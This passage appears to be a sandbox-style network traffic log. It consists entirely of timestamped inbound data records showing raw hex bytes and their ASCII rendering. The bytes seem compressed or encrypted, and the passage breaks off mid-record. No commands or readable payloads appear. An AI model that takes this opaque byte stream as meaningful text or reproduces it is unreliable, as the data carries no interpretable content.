2023-08-13 06:43:53 UTC	1413	IN	Data Raw: 61 c9 8f 73 62 33 47 cd 09 ff 99 1d 29 ef 06 da 36 ab b4 a8 b4 b1 5f 6d 8d b8 6a 53 cb 95 07 93 1d cd a9 91 f3 57 34 1b a5 f8 cc 28 a8 0b 7d e4 ca eb 46 a7 c4 b5 08 8c 71 91 55 17 4f 5f 61 44 6c 36 e0 d1 a2 31 59 48 e7 56 22 32 7b b9 56 11 00 cd d1 f5 ee 2e 6f 92 c1 af b7 02 e0 03 37 d9 bc 71 57 80 00 1c f5 4b 48 9f 2c 96 19 06 28 50 fe fa dd 74 55 34 ad 4f 2a 9e 46 29 e8 82 6f 5f 1f 44 7e 51 0f a5 44 db f1 b7 9e 54 39 ca f8 fd 4b f2 3d bd 5a f9 19 41 47 86 3a 76 ab 66 04 f5 dd 1c 96 d4 d7 6d bf 72 a5 33 22 5e d7 03 02 f8 07 6b cf a2 ae ab 4a d3 ff d5 2e 92 c2 28 ad 56 d8 ef 62 61 d1 42 e3 15 74 26 be 3f 40 f1 d3 af 1c 5f 54 57 d7 bd bb 10 55 aa ae 1a 1b 25 23 d9 6c 7c cc 2a 78 0b 70 3a 2a bb 52 be 56 6c 4b d3 1a 5a ad 93 21 ef e5 bc 3d 2e 47 af a8 66 b7 Data Ascii: asb3G)6_mjSW4(}FqUO_aDl61YHV"2{V.o7qWKH,(PtU4OF)o_D~QDT9K=ZAG:vfmr3"^kJ.(VbaBt&?@_TWU%#l\|xp:*RVlKZ!=.Gf
2023-08-13 06:43:53 UTC	1429	IN	Data Raw: f1 47 f2 3d bd 85 0f 3e 13 8e a6 2e 76 67 3e f9 bc 4f 5c 13 8b 1f 99 0f ec f5 42 6a 25 68 60 33 e2 cb 93 84 2f e9 96 6a 63 16 02 7c 23 33 b4 68 96 f7 34 15 0f e8 18 1d 57 26 40 fe f7 a2 1c 15 f6 72 a7 90 1c cd 3a 2a d3 2f f4 33 7b 00 ea 44 7b 0a c5 4a b4 1f fb 84 f8 7e 60 25 80 77 e8 b6 f9 9a 43 9d b4 ff cf b2 3c 52 34 f9 9e e2 aa eb 1d 6d 55 91 23 f1 0e 92 0c 07 7e f7 7c 14 81 8b b1 af b7 6c f8 e5 d0 f9 5f f1 ea db fa 20 ba 62 a8 17 47 8a 93 9a dd 7c fc 72 3e e6 53 9d 91 c1 cb c0 d8 22 27 3a 94 be 69 c1 d5 4a 81 45 21 ca 40 88 f8 79 10 35 cc 9a 43 50 b4 8c e4 10 d8 ae 90 d7 b9 fd 89 a6 0a 42 a6 0f df 45 9f 48 59 ce 0d 14 83 e2 e3 27 4d d6 6b 62 63 ec 86 cc c6 e2 e9 f9 65 8a 91 09 d6 6a 13 c9 e3 eb 56 a4 76 05 87 2f 6b 36 9a b7 10 f6 c2 ad 65 57 0c 53 ca Data Ascii: G=>.vg>O\Bj%h`3/jc\|#3h4W&@r:*/3{D{J~`%wC<R4mU#~\|l_ bG\|r>S"':iJE!@y5CPBEHY'MkbcejVv/k6eWS
2023-08-13 06:43:53 UTC	1445	IN	Data Raw: 4c d0 1b 55 38 83 b0 01 f5 48 ee 93 69 9e 24 c0 ca 86 1a 68 bd 27 79 d2 1b b2 6e b5 61 ee bb 5e 5a dd 32 3f b0 f3 ab 9a b6 9b 20 eb b6 02 ff 06 a5 78 5d ad 26 dd 2c f7 f4 b5 94 6f 5d 76 a2 b0 7f be 02 1c c2 38 c8 ee e4 d3 70 02 09 f2 5b 24 e6 37 9a d3 3e a6 5f d2 38 a1 12 67 d7 f3 33 2a d0 ab 01 ec 28 15 e7 6c 6f d2 10 a5 60 15 df da 18 97 29 39 61 85 08 63 48 f9 36 fc 5e aa 35 2d ad eb 43 ef 7c 2f 74 9f a2 9a 4f b5 35 a0 5e 5b 56 71 63 ec ed 19 60 38 83 fc a5 16 0a 03 57 de bd e1 f5 e2 8e e5 23 05 ba 10 c4 32 69 9d 55 26 65 85 bd 95 d7 d0 56 d7 9b 57 7e 88 cf a1 2e b8 41 90 a7 6b 38 66 4d 23 ea e7 23 a0 66 fe 53 38 c1 ac 81 95 69 e7 59 e8 28 65 4f a3 99 0d be d1 78 77 ae b8 ee 74 73 f9 bc 4b aa 46 48 4f 4e 1c 70 12 30 dc 43 17 fa 41 cd 76 7c 09 2d b6 c6 Data Ascii: LU8Hi$h'yna^Z2? x]&,o]v8p[$7>_8g3*(lo`)9acH6^5-C\|/tO5^[Vqc`8W#2iU&eVW~.Ak8fM##fS8iY(eOxwtsKFHONp0CAv\|-
2023-08-13 06:43:53 UTC	1461	IN	Data Raw: 46 10 d9 9b 9a 91 60 0a a7 22 c9 8d 1e 8e f3 8a 41 ed ee d2 bd 6f 7e 46 3b 02 91 c9 74 d5 14 57 a9 5d 51 94 1c 81 8f ee 4b 53 48 ba ce c1 bd fb f1 3c f4 ce 8e b0 28 82 de cb 3c 17 8a c7 fe 33 9c 5a 30 8d b1 7f f6 f2 c3 07 1e 19 74 8f e8 18 bd c8 8f a6 e1 a0 7f 12 3d ac 09 5a b0 9d 1f 78 a1 05 ab 87 ef f8 59 e3 76 74 0a 1a d7 14 dd 3c 59 9d 9b 88 5f f9 aa 1b b0 9f 21 50 29 3d ca 01 96 b1 62 7e 19 38 50 7d 6c 33 d9 b6 ea 11 87 f2 b6 a1 3d 6c 4b 15 2f b8 92 ec dc b1 92 96 27 c5 6f 78 a8 cb b1 bb 7e 57 66 82 56 b2 d9 94 3a f7 5b e5 b6 5a fd 1a 92 9d 31 25 cf 54 33 c8 d8 41 45 eb f9 22 66 2a 21 fe 7c 87 ea cc ac 12 84 4b 70 e7 51 75 25 5f 09 48 55 2b 4d 5a 05 f4 85 db 9f 71 02 57 9b b5 d9 9b 68 1f 26 31 bb 50 28 e5 5b 80 5e d5 fd e2 c0 44 71 4f 57 35 fb 64 92 Data Ascii: F`"Ao~F;tW]QKSH<(<3Z0t=ZxYvt<Y_!P)=b~8P}l3=lK/'ox~WfV:[Z1%T3AE"f*!\|KpQu%_HU+MZqWh&1P([^DqOW5d
2023-08-13 06:43:53 UTC	1477	IN	Data Raw: 54 49 00 c9 5a 84 2f 4e 31 1a 54 c6 a7 18 3f 70 37 10 7a da 7e ec ac 7b 6a 39 0d 12 71 75 50 31 12 28 67 25 f2 45 27 77 02 65 1b 8b 8a 54 6d 56 b7 1c 8f 48 86 d8 0c 28 f1 7f 23 7e 6e 3a fe b4 c6 a1 89 42 cd a3 7c 6f 40 6e 6c 5b c5 56 a2 b9 8d 81 b5 a9 31 d5 ea 67 5b b3 df 5e e0 d6 ea 95 d3 b9 41 b3 af c4 c3 15 69 6b 6d 21 3c 8f 1d 1c 5e 4d 29 15 40 18 2e 13 27 9a 45 94 3b bd d5 58 bd b8 d1 45 3a 77 22 9a 67 c5 0d a7 37 d8 85 39 ee b9 57 75 a9 33 98 7f 55 db e0 92 08 c5 ef df b5 e3 e9 39 dd 2f 61 e9 60 86 14 ce 8d 41 69 14 3c 7b 9d d5 fd 8a 88 fc f8 b3 6c e7 97 b3 27 0f 4f f6 a1 9c 19 6b 67 15 9f 74 f5 1e 4e 5b 43 3e d8 d4 6d 80 a2 f6 8c 19 43 7a b1 83 b0 61 56 4d 9c dd 61 40 51 17 94 ba 1e 8d fc 8a a3 bc 94 c8 7d 91 5f b0 df fe 10 7c 70 90 5f 8a ad b9 e8 Data Ascii: TIZ/N1T?p7z~{j9quP1(g%E'weTmVH(#~n:B\|o@nl[V1g[^Aikm!<^M)@.'E;XE:w"g79Wu3U9/a`Ai<{l'OkgtN[C>mCzaVMa@Q}_\|p_
2023-08-13 06:43:53 UTC	1493	IN	Data Raw: b6 48 83 ba 4e 0b 74 83 56 28 4f 57 56 79 83 30 aa 4f b1 01 90 5d 2f 14 27 26 b3 52 76 14 0d 6f 83 42 ca b8 e9 ca dd f3 57 a6 47 15 da 27 e7 d3 23 7b 1b 02 d8 e2 b9 a9 c6 3e 93 7e a2 92 28 79 26 26 61 0c e0 fe b6 c6 28 3b 4a 43 5d 8e fb 02 e8 4a 0c 68 49 d3 fa ae 6d 09 2c b8 99 22 b2 49 07 9d 0a 64 ca 5e ec b9 66 b0 f4 4c 1c 1c 7f d5 f0 12 db f6 c2 ec de 07 67 82 33 45 31 52 51 66 7b 86 7d f5 6d 00 90 e2 84 6d 4e 5a dc 52 94 c6 af 46 ca 25 af d9 38 1d 95 0f 28 37 dc 56 47 06 cc 59 77 58 e5 f3 bd c2 b0 01 a7 ea cb 58 4f cd a2 b6 a1 a3 3e 67 71 f6 ae 2b b7 7d 24 ce de fd 25 1b d3 fb eb 51 c0 93 d7 a7 27 26 bc 83 62 be 65 e3 56 b0 2d 24 d1 11 c3 82 78 0d 23 87 f1 e8 1a 48 0e a2 ee 43 49 e2 5b dd a3 14 9f 91 92 1a 82 07 cb bd 62 64 d3 47 79 7f 69 2e 51 af 41 Data Ascii: HNtV(OWVy0O]/'&RvoBWG'#{>~(y&&a(;JC]JhIm,"Id^fLg3E1RQf{}mmNZRF%8(7VGYwXXO>gq+}$%Q'&beV-$x#HCI[bdGyi.QA
2023-08-13 06:43:53 UTC	1509	IN	Data Raw: 79 16 38 3c 10 47 0f 6b 67 38 7a df d2 17 8c e8 1a 2c 14 43 f4 37 81 f6 af aa f4 42 91 f1 b3 61 11 a4 cc f3 24 60 d9 06 bf f9 e8 de 3a 3d e8 f2 99 67 5c 7b cc 09 46 a4 38 c3 e4 d5 9d 61 06 f8 61 37 4f cc 89 47 af 18 b4 ab 87 e4 94 4f 9f 7b ce 05 99 07 fa f5 61 52 5c 04 9a 10 b0 2b 9c 2c 85 0c ac 8f 52 04 bc e0 3d e7 cd 8f fc 92 4a 17 42 5e 0c e4 cb db 20 cc 7d 4e 32 71 f1 eb 44 a3 0d 4b bc c8 ed f0 ce 16 b2 2d 27 4b 9c bf bd 4c 93 d4 c0 64 35 ba d7 bc 37 ed f3 8f 15 a1 58 b8 c4 80 6b d8 93 9c 3d 18 6e 28 4e 50 2c 19 43 98 32 49 47 8f 5d 9a fe 42 61 c4 d9 c2 88 09 d3 ba 46 2c de ff aa cc 40 5c 1b 31 d9 5c d6 8b c7 26 e1 08 58 69 70 64 ca 10 8a 86 67 13 1d 3d c6 c3 f0 2c 0b f6 d4 a2 a3 09 43 15 f4 a8 a6 2e 3c e1 77 6e 73 a1 19 19 90 67 46 3b be 3e 23 29 35 Data Ascii: y8<Gkg8z,C7Ba$`:=g\{F8aa7OGO{aR\+,R=JB^ }N2qDK-'KLd57Xk=n(NP,C2IG]BaF,@\1\&Xipdg=,C.<wnsgF;>#)5
2023-08-13 06:43:53 UTC	1525	IN	Data Raw: 58 61 3e e2 3d 74 e2 aa c9 e2 11 3b f7 56 7e 0a 25 e8 5c 3f 92 9a 87 83 10 0b 73 91 1d 4d e2 d1 f6 7f 8d 3f 8f 2c 64 66 b9 ad 5e ed 7a f7 b9 b6 60 c4 98 44 a5 ac ed eb 19 dc c2 5e 22 bc b9 7a 17 f3 88 41 be e2 2f 61 42 29 dd d4 99 02 7a 3c 29 38 89 c4 c0 2f 20 5d 33 9b 84 aa c2 4c 54 b7 ca 65 ee 90 88 ed 55 ac 32 19 5a b2 0f ea e2 bb 02 2e 89 40 23 f7 33 d0 b6 0b 40 71 a7 b4 a8 a1 88 0b 78 0c 13 4e 6f 60 7d 87 4a 2d 52 de 7c d5 7a b7 45 ad 30 73 a9 7a dd 8f bc 8a 78 bb 28 75 1b 79 b0 57 fb b0 bd f2 21 bd 3e 8c b4 03 76 b7 16 0b 55 4c b5 af fa 37 fe e8 a3 2c c2 99 86 e4 d3 34 3e 37 69 25 f4 09 34 83 85 78 16 2e be 68 a6 eb 74 4b 87 26 37 bd 9f 5c 02 a3 79 76 18 9d f9 5a 2f a4 30 1a c2 27 ff 37 fa 55 7e 58 ef 05 47 5a c8 1b fc 83 e2 f2 7f fa f8 c3 50 a7 8d Data Ascii: Xa>=t;V~%\?sM?,df^z`D^"zA/aB)z<)8/ ]3LTeU2Z.@#3@qxNo`}J-R\|zE0szx(uyW!>vUL7,4>7i%4x.htK&7\yvZ/0'7U~XGZP
2023-08-13 06:43:54 UTC	1541	IN	Data Raw: 62 d7 4e b6 ac 51 48 12 09 6d 9b c6 be 47 bf 55 d5 60 56 ff 69 7a 9b ce a7 6f ce f3 89 ae 82 22 3c 85 20 f7 18 ad 24 6e 05 03 52 8e 77 42 3e 59 23 53 bc fb 05 b3 c8 6e 3b a9 43 54 a9 ec 91 28 9d 29 f8 3c 90 54 e4 2d a4 4d 13 6b 56 d1 43 21 40 35 a3 be 56 5d 5e a0 0b 27 15 af 56 80 59 73 a2 bf 4c 61 8c 53 73 ce f9 a4 c2 73 34 25 bd 68 65 3c 74 18 6a 73 c0 c3 7c e5 83 ff 35 e3 00 4e f6 25 85 08 52 a5 92 f0 4e b5 b9 3f 78 68 a1 20 eb 84 a4 83 a9 57 c2 ea 5d a1 1c 67 e2 bd a3 01 25 f0 e6 7e 6a 7e 0c 9d a7 fb 62 29 d4 0a 9d 7f c8 15 4a 1d f7 b1 bc 09 db f0 d2 ff d2 40 76 13 81 03 9d da fe 8c 6c 29 94 13 43 41 33 a8 11 e2 f2 09 ad 3e b9 3d 90 9f 09 9a 34 e9 44 b4 6a b1 45 af 0d 5b c6 f1 8f 1e 0e 3a 1d 5f 0c 9b 13 bc 11 a3 15 74 c8 14 24 dc 6e 68 c4 49 8b 86 26 Data Ascii: bNQHmGU`Vizo"< $nRwB>Y#Sn;CT()<T-MkVC!@5V]^'VYsLaSss4%he<tjs\|5N%RN?xh W]g%~j~b)J@vl)CA3>=4DjE[:_t$nhI&
2023-08-13 06:43:54 UTC	1557	IN	Data Raw: 23 4c cc c8 db a0 a6 58 ed 7e 65 e3 d7 6f a1 ec 97 ab 31 55 55 69 85 2a 76 74 bc 84 7d 3e da e6 83 9d 69 34 a5 04 3e 45 e0 10 e4 3a 06 10 62 a7 c9 0f f0 f7 86 c2 01 ce bd e4 c9 09 3a 3c 78 bf c2 42 74 91 f1 fb ae 8d df 3e 1b 81 b0 ad e1 53 ec 19 65 bf a3 9e d8 05 83 5b 9e 81 98 93 8a 1e e6 c9 b7 2f ba 6b 8a b5 69 17 0b 56 ba 6b ca db 77 47 3f f6 a8 b9 3f e8 57 0b 6b 04 fa b8 5f 2a 08 85 07 b2 8e d7 de b8 44 4a 3d b7 54 36 dd 9d 9d ae 2b ff 7b 20 0d 0b ba 67 46 e8 80 fb 12 8c 75 48 16 b0 1f 69 cd 72 61 9b 98 5b 4d 92 85 c7 91 59 04 43 73 b5 68 b0 44 1c 4e 11 6c 17 b4 74 cd 2e dd 8a 6d 99 89 54 92 ff 07 da 4c 15 57 3b 05 36 04 ae 0b be 73 79 21 22 81 2b 2c 48 60 49 41 8d 36 e2 f5 d2 c7 c2 0a 23 62 76 cc 22 38 90 52 0f 8b 59 9f fc 26 98 8c ca bc c0 2e 8d 7b Data Ascii: #LX~eo1UUivt}>i4>E:b:<xBt>Se[/kiVkwG??Wk_DJ=T6+{ gFuHira[MYCshDNlt.mTLW;6sy!"+,H`IA6#bv"8RY&.{
2023-08-13 06:43:54 UTC	1573	IN	Data Raw: ad 27 cd 32 bb f3 fa cb 19 b3 df ee 54 31 90 cb bb 1a 00 35 9d c8 27 d6 d4 d5 13 fb 97 17 f3 38 fb f9 89 62 2e dc fa 64 0a 84 17 3d 41 56 2f 8c 10 2d 02 69 05 5b 76 42 58 19 d4 c9 d7 1d b3 e5 00 a3 d4 37 ca b9 e0 98 60 2f e9 19 f7 6e 46 16 de 51 93 53 47 f2 9b f9 35 a4 b1 09 14 5e ec 1f da 4c 9f 33 44 58 ea 9c cf 67 0a 95 32 ce 7a 1e bb c7 d7 cf 6a 46 de 76 53 b3 af 7e e0 73 d6 e8 80 bc a8 42 da b6 39 4f bf 64 af 88 52 57 ba 45 a2 20 db d4 ca 62 3f 10 85 5a 6c 02 51 4d 72 17 9b 84 84 e4 72 98 c3 0f 02 e2 ef 7c 41 e7 d5 90 75 61 ef 0e 21 5c 13 c2 37 d2 0f cd f0 ca 03 f6 e1 a2 3a a8 af 05 b6 6e 57 16 86 54 5b 38 c4 11 ef c6 33 d7 d9 8f fc 6b de f2 59 7e 1a d4 67 21 0b 19 f6 dc 22 05 88 8e be 7b ff 44 7e 49 ae 92 b6 28 80 f7 a8 3f 6d 1a 2b c8 bf aa 66 19 2f Data Ascii: '2T15'8b.d=AV/-i[vBX7`/nFQSG5^L3DXg2zjFvS~sB9OdRWE b?ZlQMrr\|Aua!\7:nWT[83kY~g!"{D~I(?m+f/
2023-08-13 06:43:54 UTC	1589	IN	Data Raw: dd b3 98 82 15 9f cd d9 87 e9 c6 18 9f c9 c6 2b ee b9 16 d6 13 c3 ad c0 49 67 76 9d 0f a8 93 87 90 e1 39 ec c8 0b 23 2b c6 9d a7 6b 7b 11 a2 af 42 e5 b4 d7 31 d0 ea 7f 5e 3b b6 be 2b b6 a5 39 b0 22 23 aa 18 d9 57 55 41 18 05 b8 42 37 1f d0 93 bd d8 86 2c 00 34 b1 2f 5b 9f ca fb 43 e4 5e fc f3 ce 93 d3 82 46 ae b7 55 64 e4 c8 0e 96 1b e5 57 93 74 ad 5f b3 b3 d5 b4 ba a6 93 d9 1c 4f c0 33 2f 9e 00 70 18 64 fe 57 2f 55 ed 5b 11 f3 a3 cc e1 17 2a c3 84 73 b1 2f 78 66 0d 10 75 e7 a3 11 fa 2f cb ef 3f dd a8 34 fb 75 f0 0e 3b 72 88 62 67 9c 2e 3c 16 60 3a ea b2 65 c1 7c f2 9e 6c f9 fd b4 35 a6 bc 0a d8 90 a0 0f 60 fb ad 33 f1 73 31 79 69 2a 04 b7 ac 8b 92 6f 3c cc 4f d6 4f 2f 7c 2a bb d3 85 19 59 92 3b d1 74 9f 11 af d2 49 04 89 6b 89 7a 74 1d af 73 41 7c 65 54 Data Ascii: +Igv9#+k{B1^;+9"#WUAB7,4/[C^FUdWt_O3/pdW/U[s/xfu/?4u;rbg.<`:e\|l5`3s1yio<OO/\|*Y;tIkztsA\|eT
2023-08-13 06:43:54 UTC	1605	IN	Data Raw: 12 1f ea bd a6 b1 92 ad 2e 9a e6 70 88 a8 df 64 67 01 d4 b9 c5 7f 6a ec d5 cc ad a2 b8 71 0f 3c 01 37 d3 cb a3 b7 97 10 f7 fe 1d 7c 47 a2 54 66 16 06 d6 f7 78 24 5d 27 1a a3 46 9b 7d 47 22 60 19 7d 93 b4 29 9c e2 ea 80 51 90 32 5c 2d 48 a2 36 8e b9 ac 7a d8 d0 3c c0 94 ba 13 3d 79 6e 2e ff bd 69 b8 45 04 26 3d 1d 05 ba cc bf 51 8c b2 9c 03 da fe d8 10 f5 0c 16 95 dd f4 6e 89 2a e6 2a 90 1b 12 44 33 8f 7c 1a c5 7b 7d b6 74 89 5b 57 d0 d6 b4 b2 89 91 3f eb c0 5a a1 64 56 a5 ca 77 6a 1a c0 c9 e2 e2 1d b0 1f 5a 45 ca f8 b7 69 02 1e 5b 8e 50 6e 8f 70 d3 a0 78 6c 11 e9 98 b9 9b cb 81 a7 be 17 84 e3 11 01 1e 2a fb 29 b6 e6 b7 ec 21 52 67 43 c8 c6 85 85 b9 25 15 63 c1 51 3e 55 f5 f9 21 f1 5a a1 cb 89 c1 77 a8 7a aa e0 00 c3 c1 59 48 c2 80 34 79 b0 d9 0b 6c fe 39 Data Ascii: .pdgjq<7\|GTfx$]'F}G"`})Q2\-H6z<=yn.iE&=Qn*D3\|{}t[W?ZdVwjZEi[Pnpxl)!RgC%cQ>U!ZwzYH4yl9
2023-08-13 06:43:54 UTC	1621	IN	Data Raw: 75 cd eb c3 81 00 8e a3 27 f5 f2 a0 c9 4a 51 d6 22 3d 31 05 ec 7e a7 26 92 d7 c6 4f 5a 44 9e 23 54 e1 5a fe 86 67 db 59 10 60 d1 b7 97 9a 1d f7 6d 2e 66 3a 77 8d 58 73 62 2c 3e bd e8 85 78 0a ec b2 51 9b 15 47 d0 95 27 e8 8d 19 15 bb 33 8c 39 97 e1 c9 91 25 cb c9 d1 dc 3e 0c 16 e9 a9 ef 2b 96 69 0a d8 92 8a ec 79 81 63 66 23 0e 0a 49 a0 6a 2f 3c d9 ae 57 65 24 23 1a ef 58 3a de 50 e7 d7 10 01 fa 43 b5 93 c8 57 10 1a ec 7d 76 82 22 f5 1b 02 e3 91 d2 28 e7 de b7 2f 8b a0 33 05 6b ca 5a 5d 3b 53 2d 32 5c a2 7b 51 fb 0c 4d 93 8f 79 05 89 c5 cd 1f 79 2c f9 e5 4e 4f fb 3b 9c 0c 71 24 51 78 1a 6e bf 8d 5c 52 a5 06 65 a9 c1 19 ed d3 27 34 cb c1 a4 b9 b9 3e fd d7 c0 04 36 ee 1e 4a f5 80 44 68 67 3d 60 64 06 9a 5a ff d9 72 b8 07 ba 61 58 e6 75 da 36 68 5d ad 9b f1 Data Ascii: u'JQ"=1~&OZD#TZgY`m.f:wXsb,>xQG'39%>+iycf#Ij/<We$#X:PCW}v"(/3kZ];S-2\{QMyy,NO;q$Qxn\Re'4>6JDhg=`dZraXu6h]
2023-08-13 06:43:54 UTC	1637	IN	Data Raw: d3 70 f9 4e c5 ac 58 5a 5a 16 a2 b3 cd 8b f7 fa ef fe f3 16 40 ef b4 0b 2f 9b 27 98 9a a1 50 48 e0 81 31 22 92 55 ab 35 49 52 53 30 02 ea 51 20 1d 18 52 58 4b b1 4e dd 65 10 ba 44 08 c9 c2 ec ed d5 9e 83 ba 1e b2 72 69 36 f4 04 f2 74 99 21 ca ea 0a c9 7f 87 fc c2 53 0e 89 60 a7 2e 4f 05 7e 9a 9e 61 39 3f 4a b1 43 f1 62 fc ea f7 e5 f8 f2 9c 59 3e 37 8c 8d 2b 0a 4c 10 23 5e 53 51 78 b9 29 5a d2 0e 48 13 2d f7 33 c8 44 77 9a 45 64 db fb ad d6 42 e1 65 16 18 c7 9a 00 96 18 43 f6 86 17 4b 5e 74 e9 a8 67 e2 49 99 1a 1b 2a 16 fa 8e 6e f9 d3 4b 0a af 5c 64 9a 83 7b d4 6e 2a b8 b6 81 eb 0e 39 7a 5b 3e 35 5f 0c db 63 8b 49 f6 99 5f 42 e0 68 63 59 d9 2a b4 45 bc dc 93 7a f5 57 41 af 3f dd a1 6c d8 c1 19 ea b9 ea 45 e3 a5 c8 7e c7 6e 73 a7 fe f6 ba 81 9e 67 24 c5 b8 Data Ascii: pNXZZ@/'PH1"U5IRS0Q RXKNeDri6t!S`.O~a9?JCbY>7+L#^SQx)ZH-3DwEdBeCK^tgInK\d{n9z[>5_cI_BhcY*EzWA?lE~nsg$
2023-08-13 06:43:54 UTC	1653	IN	Data Raw: 10 23 fb cd b5 ac ca f5 52 b1 1e 29 4b 53 ea a2 54 33 eb 08 67 21 d7 d4 d0 16 a2 f2 aa 37 3c 3f 90 a2 cb 38 60 37 43 1d d4 09 a8 1e 92 11 fa 97 80 e0 60 b4 ec dd 04 8b f3 9e 3f e1 96 a2 55 72 44 83 a2 aa 12 ff ab ae 7a 88 43 d3 d2 dd 27 29 da e0 30 42 f1 45 5d e3 2b 4b 50 13 8c 10 41 de 29 27 ed b1 09 fe 70 54 05 75 88 75 66 f2 ed 02 53 ab 78 17 ad 7c 0c e1 5e 75 e9 02 7d 52 68 2a c0 ce b9 3b 0d c9 cd 7f 3d 66 c7 a5 79 6c 16 3b f1 d4 30 39 b6 a5 8a dd cc 3c 1d 41 51 a9 33 7c 76 d7 2e f0 42 b7 b3 79 0c 82 c4 cb 33 56 d0 7c 78 9d 8c e4 48 21 5f 53 0a df ff 21 96 8f 77 4a 04 37 f8 1c 5f 10 f3 03 ad 66 7c ad 80 d6 df 8c 7e 26 e8 fe 59 6a a6 61 77 1a bf c6 3c cb b4 3a e6 31 a9 8c 12 a3 86 3a e6 be a4 04 65 24 9e 28 3a 21 3c c0 b6 15 b3 80 e0 08 fd 5a 72 6c b7 Data Ascii: #R)KST3g!7<?8`7C`?UrDzC')0BE]+KPA)'pTuufSx\|^u}Rh*;=fyl;09<AQ3\|v.By3V\|xH!_S!wJ7_f\|~&Yjaw<:1:e$(:!<Zrl
2023-08-13 06:43:54 UTC	1669	IN	Data Raw: 32 63 4e c6 1b 6a 62 c4 96 11 26 2b 12 8d 48 5d bd fb 0e 5a c5 87 47 ce 34 7d 9f f4 91 42 58 d1 dd 10 dc 45 1a 44 87 8d 75 83 06 c9 0a 8b 15 a2 0f 0d 26 6b 89 5f e3 66 f9 16 fe 26 6c 3b 0b 7f 20 56 ff 05 71 20 e7 23 23 6c 3d c2 e6 b5 71 0d a0 1d 8e 4a 70 2f 9c 86 92 34 7c dd 3d ed 9f 37 ef 34 07 bf 88 f2 13 98 48 66 21 15 08 77 c7 89 94 cb e0 8c 63 dd 73 ce 74 99 a4 34 52 aa e3 9f a8 8c 70 0f c8 7a b3 74 ea 50 66 19 cc f3 64 e3 ca 58 5e 44 fe 1a 93 aa ed 4e a7 a6 b7 fd 31 da 88 f5 bb 14 78 14 ca 1c ad 6b 1f 5e 93 07 0d d9 d4 b3 a6 ad 87 12 a4 50 13 35 ef a7 4d ac 12 93 fd 48 38 49 43 b8 3a d8 39 99 fc da ff 84 9c d3 b9 e3 7f 46 ea 6b aa 1a 95 1f 7e b7 d5 98 87 b4 06 9c d7 30 f5 7f 27 c4 2b 40 19 b5 f4 71 30 d4 40 1c ba 60 94 08 b8 21 4a a3 0b 2a 70 66 53 Data Ascii: 2cNjb&+H]ZG4}BXEDu&k_f&l; Vq ##l=qJp/4\|=74Hf!wcst4RpztPfdX^DN1xk^P5MH8IC:9Fk~0'+@q0@`!J*pfS
2023-08-13 06:43:54 UTC	1685	IN	Data Raw: 76 59 b1 4e db 48 a2 de 46 20 b2 7a f9 77 83 14 47 aa 77 8c 01 25 e7 75 8d e6 3d d6 82 63 0b 77 24 49 81 de 32 16 1f f2 60 ac 03 e2 a9 55 b9 5a fa b0 8f 5b 15 59 5a e9 34 5c 88 f2 02 0e 7c a3 3f df 64 35 ad 9a 64 28 84 1b 2f 91 3d 5c 28 93 fa 34 12 58 86 bc 3f 60 2d f0 f1 fd 7e 55 4f 03 36 2a c4 39 53 30 c8 89 6e 79 6f df 9a 1b dd 94 00 48 b4 cb 31 3e 76 13 36 4e 46 30 a3 2c 6f 2c ce 69 38 02 42 38 f5 20 09 d0 ca 68 dc 30 d9 d0 55 0e 2a 46 0c 83 b2 8d f9 e1 f6 76 4e b9 20 3f ff 65 18 e3 c8 d7 3c 1c 3e 2a 32 b0 2e 63 e5 8b 79 83 8f 72 b4 39 74 f1 44 ec ad be 1c 64 b1 e7 54 ac 83 c2 7f 2b 39 34 27 27 3f 26 e2 87 29 ad 54 33 62 13 64 1a a1 ba 26 e1 5d e1 a8 be bc 8f cc 91 c4 c8 25 3f b9 b9 a6 ff 3e 6d 05 2a ce a1 c4 51 d9 b0 1c ba 97 4d 54 81 69 50 c2 3a 91 Data Ascii: vYNHF zwGw%u=cw$I2`UZ[YZ4\\|?d5d(/=\(4X?`-~UO69S0nyoH1>v6NF0,o,i8B8 h0UFvN ?e<>2.cyr9tDdT+94''?&)T3bd&]%?>mQMTiP:
2023-08-13 06:43:54 UTC	1701	IN	Data Raw: 1c 8f 0c 62 b3 11 10 8a fe e7 9a fe ed 5a bd a5 cb 4e 52 7d 1a c0 d8 35 2b fe ca da 46 6e 68 e0 2c 78 bf 17 1e b7 7b 8b 6b bc 82 5a b5 4a 72 c4 ec 17 92 0e 59 3c 6f e5 ef 6c 7f 33 5b 4a a4 46 3b eb 4a 7c b1 c6 f1 0e a9 10 8d 93 9f 75 6a 62 3c ed 1f 29 f0 c7 31 fd ae 33 7f 64 dd d5 42 d5 36 46 79 41 78 ca 85 36 7a 78 7d f2 51 9e 74 4c 31 69 30 2e 07 ae e0 fa d5 46 a8 51 5b 53 e7 6b 24 51 54 0b f3 0f ce 6e c0 a4 6b c5 a4 88 76 39 41 27 4a c7 d3 8b 37 b8 53 c7 bc 92 f9 41 eb d0 48 3c e1 2f c5 0c 25 7b 19 d1 f1 89 7a 42 5b 77 04 7b ad bd cb f9 62 0b 89 22 b6 d2 cb b3 26 b3 40 9d 11 c5 a4 66 ff ea 48 fb ef 98 c3 24 52 f6 e5 41 90 75 81 09 06 ad 88 5c db b1 97 99 53 39 04 ec d7 c6 d5 97 65 14 7d bb 51 64 42 a6 b4 9f 31 7a 0e 5b b2 77 9e 71 d2 0a 48 ee fd 6c a6 Data Ascii: bZNR}5+Fnh,x{kZJrY<ol3[JF;J\|ujb<)13dB6FyAx6zx}QtL1i0.FQ[Sk$QTnkv9A'J7SAH</%{zB[w{b"&@fH$RAu\S9e}QdB1z[wqHl
2023-08-13 06:43:54 UTC	1717	IN	Data Raw: f2 61 89 58 0b 05 b5 6e c3 02 ce c9 d3 2a 6d be ed fc 81 d8 f9 6c 65 3e 49 d4 80 6d 2a f0 5b 14 14 06 c9 b9 73 50 74 fc 84 d5 ee 1d 83 31 c6 1c 34 86 ee 3b 4d e2 5f 34 58 15 ad b3 fa 69 0d 35 96 0e 54 c6 27 ae 23 fb 00 79 43 3a c8 9c 15 12 ca f5 33 4f ea 3d b6 70 ea ce 44 b6 84 aa 2a e5 8e 6a a9 7d 63 75 46 66 c7 26 c5 e1 e6 f6 5d 13 3c 3d 23 02 90 08 a1 6d 7a af e6 30 fa 73 e7 db f1 88 27 60 e8 11 16 f9 89 72 bf f0 58 89 5c 28 e0 0e c5 44 9e c8 aa 5b 0a 16 bc f3 2e f4 90 d5 be 3c 41 be 4a 76 fd b3 d3 ad 3c ad 23 b3 8d 68 5b 88 15 63 67 ee bc 19 38 50 bd df 1a 3c 40 39 6c 6b 6a 31 16 10 7d 56 1b af ca 88 9d 11 a1 1c 3e 21 